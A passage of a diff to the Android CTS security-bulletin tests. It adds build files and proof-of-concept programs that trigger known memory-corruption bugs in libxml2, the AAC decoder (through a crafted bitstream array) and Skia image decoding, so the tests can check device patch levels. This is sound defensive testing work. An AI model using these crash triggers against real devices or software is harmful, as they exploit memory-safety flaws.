+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "external/libxml2",
+    ],
+    shared_libs: [
+        "libxml2",
+    ],
+    cflags: [
+        "-DCHECK_UNDERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
new file mode 100644
index 0000000..ecfb842
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9047.c
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+  char buf[BUFFER_SIZE];
+  xmlElementContent content;
+  content.type = XML_ELEMENT_CONTENT_ELEMENT;
+  content.prefix =
+      (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+  content.name =
+      (const xmlChar *)"123456789012345678901234567890123456789012345678901234";
+  content.ocur = XML_ELEMENT_CONTENT_PLUS;
+  content.c1 = NULL;
+  content.c2 = NULL;
+  content.parent = NULL;
+  memset(buf, 0, BUFFER_SIZE);
+  xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
new file mode 100644
index 0000000..0de95fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9048.c
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <string.h>
+#define BUFFER_SIZE 64
+
+int main(void) {
+  char buf[BUFFER_SIZE];
+  xmlElementContent content;
+  content.type = XML_ELEMENT_CONTENT_ELEMENT;
+  content.prefix = (const xmlChar *)"1234567890123456789012345678901";
+  content.name = (const xmlChar *)"1234567890123456789012345678901";
+  content.ocur = XML_ELEMENT_CONTENT_PLUS;
+  content.c1 = NULL;
+  content.c2 = NULL;
+  content.parent = NULL;
+  memset(buf, 0, BUFFER_SIZE);
+  xmlSnprintfElementContent(buf, BUFFER_SIZE, &content, 1);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
new file mode 100644
index 0000000..8554acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9466/poc-CVE-2017-9049.c
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "libxml.h"
+#include <libxml/relaxng.h>
+#include <libxml/xmlerror.h>
+#include <libxml/valid.h>
+#include <libxml/xmlschemas.h>
+#include <libxml/xmlschemastypes.h>
+#include <string.h>
+
+static char *xmlPosixStrdup(const char *cur) {
+  return ((char *)xmlCharStrdup(cur));
+}
+
+int main(int argc, char **argv) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+  xmlGetWarningsDefaultValue = 0;
+  xmlPedanticParserDefault(0);
+  xmlGcMemSetup(free, malloc, malloc, realloc, xmlPosixStrdup);
+  xmlInitParser();
+  xmlSchemaInitTypes();
+  xmlRelaxNGInitTypes();
+  xmlReadFile(argv[1], NULL, XML_PARSE_OLD10);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
index 97fdf58..42f1d5f9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9472/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9472",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
index 5a4e6fa..438c690 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9491",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
index ba0e08f..2e751f4 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9515",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
index c6b3bd9..3f0ed80 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9527/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9527",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
new file mode 100644
index 0000000..fbb1a33
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2018-9537",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "external/aac/libSYS/include",
+        "external/aac/libAACdec/include",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
new file mode 100644
index 0000000..0ac9783
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -0,0 +1,204 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+#include <string.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint32_t kNumFillElements = 1200;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+constexpr unsigned char kAdtsHeader[] = {0xFF, 0xF1, 0x6C, 0x40,
+                                         0x41, 0x00, 0x78};
+constexpr uint32_t kAdtsHeaderLength = sizeof(kAdtsHeader);
+
+constexpr unsigned char kFillElements[] = {0xC1, 0x83, 0x06, 0x0C,
+                                           0x18, 0x30, 0x60};
+constexpr uint32_t kFillElementsLength = sizeof(kFillElements);
+
+constexpr unsigned char kAacStream[] = {
+    0x00, 0xC8, 0x13, 0x83, 0xE8, 0x1B, 0xFF, 0xC4, 0x29, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0x2B, 0xFF, 0xC4, 0x29,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x1B, 0xFF, 0xC4, 0x29,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69, 0x69,
+    0x69, 0x69, 0x69, 0x77, 0xED, 0x88, 0x52, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2,
+    0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xD2, 0xE0, 0xE0};
+constexpr uint32_t kAacStreamLength = sizeof(kAacStream);
+
+class Codec {
+public:
+  Codec() = default;
+  ~Codec() { deInitDecoder(); }
+  bool initDecoder();
+  void decodeFrames(UCHAR *data, UINT size);
+  void deInitDecoder();
+
+private:
+  HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+  AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+  mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADTS, kNumberOfLayers);
+  if (!mAacDecoderHandle) {
+    return false;
+  }
+  return true;
+}
+
+void Codec::deInitDecoder() {
+  aacDecoder_Close(mAacDecoderHandle);
+  mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+  while (size > 0) {
+    UINT inputSize = size;
+    UINT valid = size;
+    mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+    if (mErrorCode != AAC_DEC_OK) {
+      ++data;
+      --size;
+    } else {
+      INT_PCM outputBuf[kMaxOutBufferSize];
+      aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
+      if (valid >= inputSize) {
+        return;
+      }
+      UINT offset = inputSize - valid;
+      data += offset;
+      size = valid;
+    }
+  }
+}
+
+int main() {
+  Codec *codec = new Codec();
+  if (!codec) {
+    return EXIT_FAILURE;
+  }
+
+  if (codec->initDecoder()) {
+
+    /* Allocate memory for bitstream buffer */
+    UINT rawDataSize = kAdtsHeaderLength + kAacStreamLength +
+                       (kNumFillElements * kFillElementsLength);
+
+    UCHAR *rawData = (UCHAR *)malloc(rawDataSize);
+    if (!rawData) {
+      return EXIT_FAILURE;
+    }
+
+    /* Copy header, aac stream to bitstream buffer */
+    UCHAR *writePtr = rawData;
+    memcpy(writePtr, kAdtsHeader, kAdtsHeaderLength);
+    writePtr += kAdtsHeaderLength;
+
+    for (uint32_t i = 0; i < kNumFillElements; ++i) {
+      memcpy(writePtr, kFillElements, kFillElementsLength);
+      writePtr += kFillElementsLength;
+    }
+
+    memcpy(writePtr, kAacStream, kAacStreamLength);
+
+    /* Decode bitstream */
+    codec->decodeFrames(rawData, rawDataSize);
+    free(rawData);
+  }
+
+  delete codec;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
index d0ebfac..935c1d1 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9539",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
new file mode 100644
index 0000000..64eb5c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-1988",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+        "skia_deps",
+    ],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "external/skia/include/codec",
+        "external/skia/include/core",
+        "frameworks/native/libs/nativewindow/include",
+        "frameworks/native/libs/arect/include",
+    ],
+    shared_libs: [
+        "libhwui",
+    ],
+    static_libs: [
+        "libskia",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..9ba3c42
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include "../includes/memutils.h"
+#include <fstream>
+#include <iostream>
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+  auto codec = SkAndroidCodec::MakeFromData(bytes);
+  if (!codec) {
+    return EXIT_FAILURE;
+  }
+
+  auto size = codec->getSampledDimensions(sampleSize);
+  auto info = SkImageInfo::MakeN32Premul(size);
+  SkBitmap bm;
+  if (!bm.tryAllocPixels(info)) {
+    return EXIT_FAILURE;
+  }
+
+  SkAndroidCodec::AndroidOptions options;
+  options.fSampleSize = sampleSize;
+
+  codec->getAndroidPixels(bm.info(), bm.getPixels(), bm.rowBytes(), &options);
+  return EXIT_SUCCESS;
+}
+
+int main(int argc, char **argv) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+  std::ifstream inFile(argv[1]);
+  if (!inFile) {
+    return EXIT_FAILURE;
+  }
+  inFile.seekg(0, inFile.end);
+  size_t size = inFile.tellg();
+  if (size < 1) {
+    inFile.close();
+    return EXIT_FAILURE;
+  }
+  inFile.seekg(0, inFile.beg);
+  uint8_t *data = (uint8_t *)malloc(size);
+  if (!data) {
+    return EXIT_FAILURE;
+  }
+  inFile.read(reinterpret_cast<char *>(data), size);
+  auto bytes = SkData::MakeWithoutCopy(data, size);
+  bytes = SkData::MakeSubset(bytes.get(), 1, size - 1);
+  enable_selective_overload = ENABLE_ALL;
+  int ret = decode(bytes, SAMPLE_SIZE);
+  enable_selective_overload = ENABLE_NONE;
+  inFile.close();
+  free(data);
+  return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
new file mode 100644
index 0000000..08f0244
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
